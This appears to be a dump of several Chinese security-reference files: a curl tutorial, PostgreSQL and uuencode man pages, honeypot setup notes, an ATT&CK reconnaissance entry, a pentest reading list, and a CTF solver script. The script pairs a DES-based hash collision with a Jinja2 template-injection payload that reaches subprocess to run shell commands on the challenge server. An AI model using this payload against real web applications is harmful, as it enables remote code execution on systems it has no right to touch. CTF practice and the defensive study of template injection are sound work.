使用选项`-O`将下载的数据写入到文件,必须使用文件的绝对地址: ```shell curl http://example.com/text.iso --silent -O ``` 选项`-o`将下载数据写入到指定名称的文件中,并使用`--progress`显示进度条: ```shell curl http://example.com/test.iso -o filename.iso --progress ######################################### 100.0% ``` #### **不输出错误和进度信息** `-s` 参数将不输出错误和进度信息。 ```shell curl -s https://www.example.com # 上面命令一旦发生错误,不会显示错误信息。不发生错误的话,会正常显示运行结果。 ``` 如果想让 curl 不产生任何输出,可以使用下面的命令。 ```shell curl -s -o /dev/null https://example.com ``` #### **断点续传** curl能够从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件: ```shell curl URL/File -C 偏移量 #偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -: curl -C -URL ``` #### **使用curl设置参照页字符串** 参照页是位于HTTP头部中的一个字符串,用来表示用户是从哪个页面到达当前页面的,如果用户点击网页A中的某个连接,那么用户就会跳转到B网页,网页B头部的参照页字符串就包含网页A的URL。 使用 `--referer` 选项指定参照页字符串: ```shell curl --referer http://www.example.com http://example.com ``` #### **用curl设置用户代理字符串** 有些网站访问会提示只能使用IE浏览器来访问,这是因为这些网站设置了检查用户代理,可以使用curl把用户代理设置为IE,这样就可以访问了。使用 `--user-agent` 或者 `-A` 选项: ```shell curl URL --user-agent "Mozilla/5.0" curl URL -A "Mozilla/5.0" ``` 其他HTTP头部信息也可以使用curl来发送,使用`-H`"头部信息" 传递多个头部信息,例如: ```shell curl -H "Host:example.com" -H "accept-language:zh-cn" URL ``` #### **curl的带宽控制和下载配额** 使用`--limit-rate`限制curl的下载速度: ```shell curl URL --limit-rate 50k ``` 命令中用k(千字节)和m(兆字节)指定下载速度限制。 使用`--max-filesize`指定可下载的最大文件大小: ```shell curl URL --max-filesize bytes ``` 如果文件大小超出限制,命令则返回一个非0退出码,如果命令正常则返回0。 ```shell curl --limit-rate 200k https://example.com # 上面命令将带宽限制在每秒 200K 字节。 ``` #### **用curl进行认证** 使用curl选项 -u 可以完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码: ```shell curl -u user:pwd http://example.com curl -u user http://example.com ``` #### **只打印响应头部信息** 通过`-I`或者`-head`可以只打印出HTTP头部信息: ```shell [root@localhost text]# curl -I http://example.com HTTP/1.1 200 OK Content-Encoding: gzip Accept-Ranges: bytes Age: 275552 Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 Date: Mon, 24 Apr 2023 14:39:36 GMT Etag: "3147526947+gzip" Expires: Mon, 01 May 2023 14:39:36 GMT Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT Server: ECS (sec/96EE) X-Cache: HIT Content-Length: 648 ``` #### **GET 请求** ```shell curl "http://www.example.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地 curl -i "http://www.example.com" # 显示全部信息 curl -l "http://www.example.com" # 显示页面内容 curl -v "http://www.example.com" # 显示get请求全过程解析 ``` #### **POST 请求** ```shell $ curl -d "param1=value1&param2=value2" "http://www.example.com/login" $ curl -d'login=emma&password=123' -X POST https://example.com/login # 或者 $ curl -d 'login=emma' -d 'password=123' -X POST https://example.com/login ``` `--data-urlencode` 参数等同于 `-d`,发送 `POST` 请求的数据体,区别在于会自动将发送的数据进行 `URL` 编码。 ```shell curl --data-urlencode 'comment=hello world' https://example.com/login # 上面代码中,发送的数据hello world之间有一个空格,需要进行 URL 编码。 ``` #### **发送本地文件中的文字** ```shell curl -d '@data.txt' https://example.com/upload # 读取data.txt文件的内容,作为数据体向服务器发送。 ``` #### **JSON 格式的 POST 请求** ```shell curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13888888888","password":"test"}' http://example.com/apis/users.json ``` #### **向服务器发送 Cookie** 使用`--cookie "COKKIES"`选项来指定cookie,多个cookie使用分号分隔: ```shell curl http://example.com --cookie "user=root;pass=123456" ``` 将cookie另存为一个文件,使用`--cookie-jar`选项: ```shell curl URL --cookie-jar cookie_file ``` `-b` 参数用来向服务器发送 Cookie。 ```shell curl -b 'foo=bar' https://example.com # 上面命令会生成一个标头Cookie: foo=bar,向服务器发送一个名为foo、值为bar的 Cookie。 ``` ```shell curl -b 'foo1=bar' -b 'foo2=baz' https://example.com # 上面命令发送两个 Cookie。 ```shell curl -b cookies.txt https://www.example.com # 上面命令读取本地文件 cookies.txt,里面是服务器设置的 Cookie(参见-c参数),将其发送到服务器。 ``` #### **Cookie 写入一个文件** ```shell curl -c cookies.txt https://www.example.com # 上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件cookies.txt。 ``` #### **请求的来源** `-e` 参数用来设置 `HTTP` 的标头 `Referer`,表示请求的来源。 ```shell curl -e 'https://example.com?q=example' https://www.example.com # 上面命令将Referer标头设为 https://example.com?q=example。 ``` `-H` 参数可以通过直接添加标头 `Referer`,达到同样效果。 ```shell curl -H 'Referer: https://example.com?q=example' https://www.example.com ``` #### **上传二进制文件** `-F` 参数用来向服务器上传二进制文件。 ```shell curl -F 'file=@photo.png' https://example.com/profile # 上面命令会给 HTTP 请求加上标头 Content-Type: multipart/form-data ,然后将文件photo.png作为file字段上传。 ``` `-F` 参数可以指定 `MIME` 类型。 ```shell curl -F 'file=@photo.png;type=image/png' https://example.com/profile # 上面命令指定 MIME 类型为image/png,否则 curl 会把 MIME 类型设为 application/octet-stream。 ``` `-F` 参数也可以指定文件名。 ```shell curl -F 'file=@photo.png;filename=me.png' https://example.com/profile # 上面命令中,原始文件名为photo.png,但是服务器接收到的文件名为me.png。 ``` #### **设置请求头** `-H` 参数添加 `HTTP` 请求的标头。 ```shell curl -H 'Accept-Language: en-US' https://example.com # 上面命令添加 HTTP 标头 Accept-Language: en-US。 ``` ```shell curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://example.com # 上面命令添加两个 HTTP 标头。 ``` ```shell curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://example.com/login # 上面命令添加 HTTP 请求的标头是 Content-Type: application/json,然后用 -d 参数发送 JSON 数据。 ``` #### **跳过 SSL 检测** ```shell curl -k https://www.example.com # 上面命令不会检查服务器的 SSL 证书是否正确。 ``` #### **请求跟随服务器的重定向** `-L` 参数会让 `HTTP` 请求跟随服务器的重定向。`curl` 默认不跟随重定向。 ```shell curl -L -d 'tweet=hi' https://api.example.com/tweet ``` 值得注意的是,这种重定向方式不适用于在返回的 HTML 中的重定向,比如这种是不被 curl 识别的重定向(这部分内容由 `curl -v -L <url>` 生成) ```curl * Connected to example.com (*.*.*.*) port 80 (#0) > GET / HTTP/1.1 > Host: example.com > User-Agent: curl/8.0.1 > Accept: */* > < HTTP/1.1 200 OK .... < Content-Type: text/html < <html> <meta http-equiv="refresh" content="0;url=http://www.example.com/"> </html> ``` #### **调试参数** `-v` 参数输出通信的整个过程,用于调试。 ```shell curl -v https://www.example.com # --trace参数也可以用于调试,还会输出原始的二进制数据。 ``` ```shell curl --trace - https://www.example.com ``` #### **获取本机外网 IP** ```shell curl ipecho.net/plain ``` #### **使用 curl 测试网站加载速度** 命令有一个鲜为人知的选项,`-w`,该选项在请求结束之后打印本次请求的统计数据到标准输出。 首先,我们定义控制打印行为的格式化字符串。新建文本文件 `fmt.txt`,并填入下面的内容: ```ruby \n Response Time for: %{url_effective}\n\n DNS Lookup Time:\t\t%{time_namelookup}s\n Redirection Time:\t\t%{time_redirect}s\n Connection Time:\t\t%{time_connect}s\n App Connection Time:\t\t%{time_appconnect}s\n Pre-transfer Time:\t\t%{time_pretransfer}s\n Start-transfer Time:\t\t%{time_starttransfer}s\n\n Total Time:\t\t\t%{time_total}s\n ``` curl 提供了很多置换变量,可以在格式化字符串中通过 `%{var}` 的形式使用。完整的变量列表可以在 `curl` 的 `manpage` 中查看。简单介绍一下我们使用的这几个变量: - `url_effective`: 执行完地址重定向之后的最终 URL; - `time_namelookup`: 从请求开始至完成名称解析所花的时间,单位为秒,下同; - `time_redirect`: 执行所有重定向所花的时间; - `time_connect`: 从请求开始至建立 TCP 连接所花的时间; - `time_appconnect`: 从请求开始至完成 SSL/SSH 握手所花的时间; - `time_pretransfer`: 从请求开始至服务器准备传送文件所花的时间,包含了传送协商时间; - `time_starttransfer`: 从请求开始至服务器准备传送第一个字节所花的时间; - `time_total`: 完整耗时。 然后执行请求,通过 @filename 指定保存了格式化字符串的文件: ```shell curl -L -s -w @fmt.txt -o /dev/null http://www.example.com ``` 输出: ```c Response Time for: http://www.google.co.jp/?gfe_rd=cr&dcr=0&ei=cjIaWpTkHeiQ8QfnxYzoBA DNS Lookup Time: 0.000038s Redirection Time: 0.207271s Connection Time: 0.000039s App Connection Time: 0.000039s Pre-transfer Time: 0.000067s Start-transfer Time: 0.260115s Total Time: 0.467691s ``` #### **要求返回是压缩的状态** ```shell $ curl --compressed -o- -L https://yarnpkg.com/install.sh | bash % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 54 100 54 0 0 42 0 0:00:01 0:00:01 --:--:-- 42 100 2341 100 2341 0 0 1202 0 0:00:01 0:00:01 --:--:-- 9289 Installing Yarn! > Downloading tarball... [1/2]: https://yarnpkg.com/latest.tar.gz --> /var/folders/j7/3xly5sk567s65ny5dnr__3b80000gn/T/yarn.tar.gz.XXXXXXXXXX.9hJsBsrA % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 57 100 57 0 0 72 0 --:--:-- --:--:-- --:--:-- 72 100 93 100 93 0 0 63 0 0:00:01 0:00:01 --:--:-- 63 100 643 100 643 0 0 248 0 0:00:02 0:00:02 --:--:-- 707 100 1215k 100 1215k 0 0 153k 0 0:00:07 0:00:07 --:--:-- 305k [2/2]: https://yarnpkg.com/latest.tar.gz.asc --> /var/folders/j7/3xly5sk567s65ny5dnr__3b80000gn/T/yarn.tar.gz.XXXXXXXXXX.9hJsBsrA.asc 100 61 100 61 0 0 356 0 --:--:-- --:--:-- --:--:-- 356 100 97 100 97 0 0 325 0 --:--:-- --:--:-- --:--:-- 325 100 647 100 647 0 0 1283 0 --:--:-- --:--:-- --:--:-- 1283 100 832 100 832 0 0 1107 0 --:--:-- --:--:-- --:--:-- 812k ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE CAST" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE CAST \- 定义一个用户定义的转换 .SH SYNOPSIS .sp .nf CREATE CAST (\fIsourcetype\fR AS \fItargettype\fR) WITH FUNCTION \fIfuncname\fR (\fIargtype\fR) [ AS ASSIGNMENT | AS IMPLICIT ] CREATE CAST (\fIsourcetype\fR AS \fItargettype\fR) WITHOUT FUNCTION [ AS ASSIGNMENT | AS IMPLICIT ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE CAST\fR 定义一个新的转换。 一个转换说明如何在两个类型之间进行转换。比如: .sp .nf SELECT CAST(42 AS text); .sp .fi 通过调用前面声明的一个函数,把整数常量 42 转换成类型 text, 在这个例子里是 text(int4)。(如果没有预先定义好合适的转换,那么这个转换失败。) .PP 两种类型可以是二进制兼容的, 意思是它们之间可以"自由转换"而不用调用任何函数。 这就需要那个对应的数值使用同样的内部表现形式。 比如,类型 text 和 varchar 是二进制兼容的。 .PP 缺省时,只有在明确要求转换的情况下才调用一个转换, 也就是一个明确的 CAST(x AS typename), x::typename,或者 typename(x) 构造。 .PP 如果转换标记为 AS ASSIGNMENT,那么在赋一个数值给目标数据类型的字段的时候, 可以隐含调用它。比如,假设 foo.f1 是一个类型为 text 的字段,那么 .sp .nf INSERT INTO foo (f1) VALUES (42); .sp .fi 如果从类型 integer 到类型 text 的转换标记为 AS ASSIGNMENT, 上面的这句就被允许,否则就不允许。(我们通常用术语赋值转换来描述这种转换。) .PP 如果转换标记为 AS IMPLICIT,那么它就可以在任何环境里调用, 不管是赋值还是在表达式的内部。比如,因为 || 接受 text 操作数, .sp .nf SELECT 'The time is ' || now(); .sp .fi 将只有在类型 timestamp 到 text 的转换标记为 AS IMPLICIT 的时候才允许。否则我们就必须明确书写转换, 比如 .sp .nf SELECT 'The time is ' || CAST(now() AS text); .sp .fi (我们通常使用术语隐含转换来描述这种类型的转换。) .PP 在标记转换为隐含的这个问题上保守一些是明智的。 过于丰富的隐含转换路径会导致 PostgreSQL 选择让人奇怪的命令的解析, 或者是完全不能解析命令,因为存在多个可能的解析。 一条好的拇指定律是,只有在同一个通用类型表里面的那些可以保留转换信息的类型之间才标记为可隐含调用转换。 比如,从 int2 到 int4 可以合理地标记为隐含转换,但是从 float8 到 int4 可能应该是标记为赋值转换。跨类型表的转换,比如 text 到 int4,最好是只能明确地转换。 .PP 要想创建一个转换,你必须拥有源或者目的数据类型。要创建一个二进制兼容的转换, 你必须是超级用户。(做这个限制是因为一种有问题的二进制兼容转换可以很容易摧毁服务器。) .SH "PARAMETERS 参数" .TP \fB\fIsourcetype\fB\fR 转换的源数据类型。 .TP \fB\fItargettype\fB\fR 转换的目标数据类型。 .TP \fB\fIfuncname\fB(\fIargtype\fB)\fR 用于执行转换的函数。这个函数名可以是用模式名修饰的。 如果它没有用模式名修饰,那么该函数将从路径中找出来。 参数类型必须和源数据类型相同,结果数据类型必须匹配转换的目标类型。 .TP \fBWITHOUT FUNCTION\fR 表示源数据类型和目标数据类型是二进制兼容的, 所以不需要什么函数来执行转换。 .TP \fBAS ASSIGNMENT\fR 表示转换可以在赋值环境里隐含调用。 .TP \fBAS IMPLICIT\fR 表示这个转换可以在任何环境里隐含调用。 .SH "NOTES 注意" .PP 用 DROP CAST 删除用户定义的转换。 .PP 请注意,如果你想能双向转换类型,那么你需要明确地定义两个方向的转换。 .PP 在 PostgreSQL 7.3 之前,如果一个函数的名字和一个数据类型相同, 并且返回该种数据类型,而且还接受另外一种类型的参数自动就是一个转换函数。 这个传统随着模式的引入以及为了能在系统表种表示二进制兼容的转换就被废弃了。 (内置的转换函数仍然遵循这个命名规则,但是它们现在必须在系统表 pg_cast 里显示为转换。) .SH "EXAMPLES 例子" .PP 要使用函数 int4(text) 创建一个从类型 text 到类型 int4的转换: .sp .nf CREATE CAST (text AS int4) WITH FUNCTION int4(text); .sp .fi (这个转换在系统中已经预先定义了。) .SH "COMPATIBILITY 兼容性" .PP \fBCREATE CAST\fR 命令遵循 SQL99,只不过 SQL99 没有提供二进制兼容类型。AS IMPLICIT 也是 PostgreSQL 的扩展。 .SH "SEE ALSO 参见" .PP CREATE FUNCTION [\fBcreate_function\fR(7)], CREATE TYPE [\fBcreate_type\fR(7)], DROP CAST [\fBdrop_cast\fR(7)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
import string import sys from Crypto.Cipher import DES import struct import string from pyasn1.codec.ber.encoder import encode from pyasn1.codec.ber.decoder import decode from requests import post from re import search def seven_to_eight(x): [val] = struct.unpack("Q", x+"\x00") out = 0 mask = 0b1111111 # print(' '.join([x for x in chunks("{0:b}".format(val).zfill(64), 8)])) # print('-'*78) for shift in xrange(8): out |= (val & (mask<<(7*shift)))<<shift # print(' '.join([x for x in chunks("{0:b}".format(out).zfill(64), 8)])) # print return struct.pack("Q", out) def unpad(x): #split up into 7 byte chunks length = struct.pack("Q", len(x)) sevens = [x[i:i+7].ljust(7, "\x00") for i in xrange(0,len(x),7)] sevens.append(length[:7]) return map(seven_to_eight, sevens) def hash(x): h0 = "SHA4_IS_" h1 = "DA_BEST!" keys = unpad(x) for key in keys: h0 = DES.new(key).encrypt(h0) h1 = DES.new(key).encrypt(h1) # print(' '.join([x.encode("hex") for x in keys])) return h0+h1 def chunks(l, n): """Yield successive n-sized chunks from l.""" for i in range(0, len(l), n): yield l[i:i + n] swaps_ = ["x x"," x "," x "," x "," x "," x "," x "] swaps_tmp = [" x"," x "," x "," x "," x "," x "," x "] swaps = [] whitelist = string.ascii_letters + string.digits + " ,.:()?!-_+=[]\t<>" for i in swaps_tmp: swaps.append(7 - i.index("x")) def bitFlip(i, bit): b = i & pow(2, bit) >> bit #get bit in bit'th position (76543210) if b == 0: r = i | (1 << bit) elif b == 1: r = i ^ (1 << bit) return r def sanitizeLetter(letter, i): if letter in whitelist: return letter if chr(bitFlip(ord(letter), swaps[i%7])) in whitelist: return chr(bitFlip(ord(letter), swaps[i%7])) else: return "" def sanitize(hack): i = 4 sanitized = "" original = "" left = hack while left: c = left[0] # print(sanitized) if c in whitelist: sanitized += c original += c left = left[1:] i += 1 else: r = left[1] if len(sanitizeLetter(c, i)+sanitizeLetter(r, i+1)) != 2: sanitized += " " original += " " i += 1 else: sanitized += sanitizeLetter(c, i) + sanitizeLetter(r, i+1) original += c+r i += 2 left = left[2:] return (original, sanitized) def assrt(a, b): encoded = a encoded.replace("\n","\r") ber_a = encoded.decode("hex") out_text_a = str(decode(ber_a)) encoded = b encoded.replace("\n","\r") ber_b = encoded.decode("hex") out_text_b = str(decode(ber_b)) for i in out_text_b: if i not in whitelist+"'": print(out_text_b) print(repr(i)) assert 1==2 # print(ber_a) # print(ber_b) assert hash(ber_a) == hash(ber_b) payload = """ {{3*3*3*3}} {% set loadedClasses = " ".__class__.__mro__[2].__subclasses__() %} {% for loadedClass in loadedClasses %} {% if loadedClass.__name__ == "catch_warnings".strip() %} {% set builtinsReference = loadedClass()._module.__builtins__ %} {% set os = builtinsReference["__import__".strip()]("subprocess".strip()) %} {{ os.check_output("cat sha4/flag_bilaabluagbiluariglublaireugrpoop".strip(), shell=True) }} {% endif %} {% endfor %} """ + "PADDING" * 1000 # payload = """ # {{3*3*3*3}} # """ + "PADDING" * 10000 # payload = """ # {{3*3*3*3}} # """+"0'*10000 payload = payload.replace("\n", "") payload = payload.replace(" ", "") original, sanitized = sanitize(payload) from pyasn1.type import char from pyasn1.type import univ original_asn = encode(char.PrintableString(original)).encode("hex") sanitized_asn = encode(char.PrintableString(sanitized)).encode("hex") assrt(original_asn, sanitized_asn) # print(original_asn) # print(sanitized_asn) import grequests url = "http://sha4.chal.pwning.xxx/comments" original_data = {"comment":original_asn} sanitized_data = {"comment":sanitized_asn} req = [] for i in range(5): req.append(grequests.post(url=url, data=sanitized_data)) req.append(grequests.post(url=url, data=original_data)) z = grequests.map(req) print(z) for i in z: if '81' in i.text: print(i.text)
sec-knowleage
# 安防设施搭建使用 <p align="center"> <img src="../../../../assets/img/banner/安防设施搭建使用.jpg" width="60%"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 蜜罐 ### Conpot > 一个由 glaslos 等人开发的,用于获得关于工控系统的威胁情报的开源 ICS/SCADA 蜜罐 **项目地址** - https://github.com/mushorg/conpot **搭建过程** ```bash docker pull honeynet/conpot docker run -it -p 80:8800 -p 102:10201 -p 502:5020 -p 161:16100/udp --network=bridge honeynet/conpot ``` 访问 http://IP **相关文章** - [工控蜜罐Conpot部署和入门指南](https://www.freebuf.com/sectool/147545.html) --- ### HFish > HFish 是一款基于 Golang 开发的跨平台多功能主动诱导型开源蜜罐框架系统,为了企业安全防护做出了精心的打造,全程记录黑客攻击手段,实现防护自主化。 **项目地址** - https://github.com/hacklcx/HFish **搭建过程** ``` docker pull imdevops/hfish docker run -d --name hfish -p 21:21 -p 22:22 -p 23:23 -p 69:69 -p 3306:3306 -p 5900:5900 -p 6379:6379 -p 8080:8080 -p 8081:8081 -p 8989:8989 -p 9000:9000 -p 9001:9001 -p 9200:9200 -p 11211:11211 --restart=always imdevops/hfish:latest ``` - 环境变量API_IP的值为 API 的 IP 地址加端口组成。 - 默认帐号密码均为:admin,如需修改可以通过加入-e USERNAME= -e PASSWORD= 传入环境变量进行修改。 - 如需做数据持久化存储,可加参数 -v $PWD:/opt 挂载数据卷到宿主机上,避免容器删除数据丢失。 --- ## IDS & IPS ### Snort - [Snort 笔记](../../安全工具/Snort.md) --- ### Suricata - [Suricata 笔记](../../安全工具/Suricata.md)
sec-knowleage
# T1591-001-收集目标组织信息-确定物理位置 ## 来自ATT&CK的描述 攻击者可能会收集目标组织的实际位置,这些位置可以在目标锁定期间使用。有关目标组织的物理位置的信息可能包括各种详细信息,包括关键资源和基础结构的存放位置。实际位置还可以指示目标组织在哪个法律管辖区或机构内工作。 攻击者可以通过多种方式收集此信息,例如通过“网络钓鱼诱骗”直接诱捕。目标组织的实际位置也可能通过在线或其他可访问的数据集(例如:搜索受害人拥有的网站或社交媒体)暴露给攻击者。 ## 测试案例 例如受害者的个人社交信息,微博、微信、QQ等。 例如受害组织的位置信息,通过官方网站即可查找到相关组织的位置。 ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的监测范围之外,从而使防御者难以发现。 检测工作可能会集中在攻击生命周期的相关阶段,例如在"初始访问"阶段。 ## 关联TIP [[T1591-002-收集目标组织信息-业务关系]] [[T1591-003-收集目标组织信息-确定业务节奏]] [[T1591-004-收集目标组织信息-确定角色]] ## 参考推荐 MITRE-ATT&CK-T1591-001 <https://attack.mitre.org/techniques/T1591/001/>
sec-knowleage
.\" Copyright (c) 1980, 1990 The Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" Modified from .\" @(#)uuencode.1 6.9 (Berkeley) 4/23/91 .\" .TH uuencode 1 .SH NAME uuencode \- 对二进制文件编码 .PP uudecode \- 解码由 uuencode 创建的文件 .SH "总览 (SYNOPSIS)" .B uuencode [\-m] [ file ] name .PP .B uudecode [-o outfile] [ file ]... .SH "描述 (DESCRIPTION)" .I Uuencode 和 .I uudecode 用于 在 某些 只能 传输 简单 ASCII 数据 的 信道 上 传送 二进制文件. .PP .I Uuencode 读入 文件 .I file (缺省为 标准输入)的 内容, 编码后 的 文件 送往 标准输出. 编码 只使用 可显示 ASCII 字符, 同时 将 文件访问模式 和 目标文件名 .I name 存放在 目标文件 中, 供 .I uudecode 使用. 如果 目标文件名 .I name 是 标准输出 .I /dev/stdout , Uuencode 将把 生成结果 送往 标准输出. 缺省标准 使用 UU 编码格式. 如果 在 命令行上 指定了 .I \-m 选项, Uuencode 就 改用 .B base64 编码格式. .PP .I Uudecode 把 uuencode 编码过的 文件 .I file (缺省是 标准输入) 解码成 原来的 形式. 产生的 文件 命名为 .I name (如果 使用了 \-o 选项, 文件名 就是 .I outfile ), 拥有 原来的 文件访问模式, 但会 去除 setuid 和 可执行 位. 如果 .I outfile 或 .I name 是 /dev/stdout, Uudecode 将把 生成结果 送往 标准输出. .I Uudecode 忽略 任何(多余的) 前后行. 它 能够 自动 识别 编码格式, 并采用 相应的 解码方案. .SH "例子 (EXAMPLES)" 下面的 例子 显示了 打包 一棵 源文件树, 压缩, UU 编码, 然后 寄给 另一个 系统 的 用户. 在 目的地 运行 .I uudecode 时 将 产生 ``src_tree.tar.Z'' 文件, 展开 这个 文件 就可以 还原成 原来的 文件树. .PP .IP .nf tar cf \- src_tree \&| compress \&| uuencode src_tree.tar.Z \&| mail sys1!sys2!user .fi .LP .SH "另见 (SEE ALSO)" compress(1), mail(1), uucp(1), uuencode(5) .SH "标准 (STANDARDS)" 本实现遵循 P1003.2b/D11. .SH BUGS 如果 使用了 \-o 选项 的 同时 要求 解码 一个以上 的 文件 .I file , 或者 这些 已经 编码的 文件 中, 出现了 相同的 文件名 .I name , 其结果 可能 不是 你 想要的. .PP 用 UU 格式 编码 的 文件 增大 37%, 用 base64 格式 (3编码成4字节, 加上控制信息) 编码 的 文件 增大 35% .SH "历史 (HISTORY)" .I uuencode 命令始于 BSD 4.0. .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- # Books ## Penetration Testing Books * [The Art of Exploitation by Jon Erickson, 2008](https://www.nostarch.com/hacking2.htm) * [Metasploit: The Penetration Tester's Guide by David Kennedy et al., 2011](https://www.nostarch.com/metasploit) * [Penetration Testing: A Hands-On Introduction to Hacking by Georgia Weidman, 2014](https://www.nostarch.com/pentesting) * [Rtfm: Red Team Field Manual by Ben Clark, 2014](http://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504/) * [The Hacker Playbook by Peter Kim, 2014](http://www.amazon.com/The-Hacker-Playbook-Practical-Penetration/dp/1494932636/) * [The Basics of Hacking and Penetration Testing by Patrick Engebretson, 2013](https://www.elsevier.com/books/the-basics-of-hacking-and-penetration-testing/engebretson/978-1-59749-655-1) * [Professional Penetration Testing by Thomas Wilhelm, 2013](https://www.elsevier.com/books/professional-penetration-testing/wilhelm/978-1-59749-993-4) * [Advanced Penetration Testing for Highly-Secured Environments by Lee Allen, 2012](http://www.packtpub.com/networking-and-servers/advanced-penetration-testing-highly-secured-environments-ultimate-security-gu) * [Violent Python by TJ O'Connor, 2012](https://www.elsevier.com/books/violent-python/unknown/978-1-59749-957-6) * [Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton et al., 2007](http://www.fuzzing.org/) * [Black Hat Python: Python Programming for Hackers and Pentesters by Justin Seitz, 2014](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900) * [Penetration Testing: Procedures & Methodologies by EC-Council, 2010](http://www.amazon.com/Penetration-Testing-Procedures-Methodologies-EC-Council/dp/1435483677) * [Unauthorised Access: Physical Penetration Testing For IT Security Teams by Wil Allsopp, 2010](http://www.amazon.com/Unauthorised-Access-Physical-Penetration-Security-ebook/dp/B005DIAPKE) * [Advanced Persistent Threat Hacking: The Art and Science of Hacking Any Organization by Tyler Wrightson, 2014](http://www.amazon.com/Advanced-Persistent-Threat-Hacking-Organization/dp/0071828362) * [Bug Hunter's Diary by Tobias Klein, 2011](https://www.nostarch.com/bughunter) * [Advanced Penetration Testing by Wil Allsopp, 2017](https://www.amazon.com/Advanced-Penetration-Testing-Hacking-Networks/dp/1119367689/) * [How to Hack Like a Pornstar](https://books2read.com/u/bWzdBx) - A step by step process for breaking into a BANK, Sparc Flow, 2017 * [How to Hack Like a God](https://books2read.com/u/mBPGOy) - Master the secrets of hacking through real life scenarios , Sparc Flow, 2017 * [How to Hack Like a Legend](https://amzn.to/2uWh1Up) - A hacker’s tale breaking into a secretive offshore company, Sparc Flow, 2018 ## Hackers Handbook Series * [The Database Hacker's Handbook, David Litchfield et al., 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html) * [The Shellcoders Handbook by Chris Anley et al., 2007](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html) * [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html) * [The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html) * [iOS Hackers Handbook by Charlie Miller et al., 2012](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html) * [Android Hackers Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html) * [The Browser Hackers Handbook by Wade Alcorn et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html) * [The Mobile Application Hackers Handbook by Dominic Chell et al., 2015](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html) * [Car Hacker's Handbook by Craig Smith, 2016](https://www.nostarch.com/carhacking) ## Defensive Development * [Holistic Info-Sec for Web Developers (bundle)](https://leanpub.com/b/holisticinfosecforwebdevelopers) ## Network Analysis Books * [Nmap Network Scanning by Gordon Fyodor Lyon, 2009](https://nmap.org/book/) * [Practical Packet Analysis by Chris Sanders, 2011](https://www.nostarch.com/packet2.htm) * [Wireshark Network Analysis by by Laura Chappell & Gerald Combs, 2012](http://www.wiresharkbook.com/) * [Network Forensics: Tracking Hackers through Cyberspace by Sherri Davidoff & Jonathan Ham, 2012](http://www.amazon.com/Network-Forensics-Tracking-Hackers-Cyberspace-ebook/dp/B008CG8CYU/) * [Network Security Assessment by Chris 